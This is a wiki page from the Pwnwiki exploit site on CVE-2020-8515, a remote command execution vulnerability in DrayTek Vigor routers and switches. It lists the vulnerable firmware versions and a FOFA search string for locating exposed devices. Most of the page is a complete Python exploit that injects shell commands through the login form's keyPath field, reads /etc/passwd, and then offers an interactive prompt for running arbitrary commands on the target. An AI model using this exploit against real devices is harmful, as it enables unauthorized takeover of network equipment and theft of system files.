Pwnwiki: Created page with "CVE-2020-8515 DrayTek Enterprise Network Device Remote Command Execution Vulnerability"

2021-06-24T02:57:39Z

Created page with "CVE-2020-8515 DrayTek Enterprise Network Device Remote Command Execution Vulnerability"

New page

<languages />
==Vulnerability Impact==
<pre>
Vigor2960 < v1.5.1

Vigor300B < v1.5.1

Vigor3900 < v1.5.1

VigorSwitch20P2121 <= v2.3.2

VigorSwitch20G1280 <= v2.3.2

VigorSwitch20P1280 <= v2.3.2

VigorSwitch20G2280 <= v2.3.2

VigorSwitch20P2280 <= v2.3.2
</pre>

==FOFA==
<pre>
title="Vigor 2960"
</pre>

==POC==
<pre>
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: DrayTek企业网络设备 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> pwd \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = "action=login&keyPath=%27%0A%2fbin%2fcat${IFS}/etc/passwd%0A%27&loginUser=a&loginPwd=a"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
while True:
Cmd = input("\033[35mCmd >>> \033[0m")
if Cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, Cmd)
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
sys.exit(0)

def POC_2(target_url, Cmd):
vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
Cmd = Cmd.replace(' ','${IFS}')
data = "action=login&keyPath=%27%0A%2fbin%2f%26{}%0A%27&loginUser=a&loginPwd=a".format(Cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 200:
print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
</pre>

CVE-2020-8515 DrayTek企業網絡設備 遠程命令執行漏洞/en - Revision history

Pwnwiki: Created page with "CVE-2020-8515 DrayTek Enterprise Network Device Remote Command Execution Vulnerability"

CVE-2020-8515 DrayTek企業網絡設備遠程命令執行漏洞/en - Revision history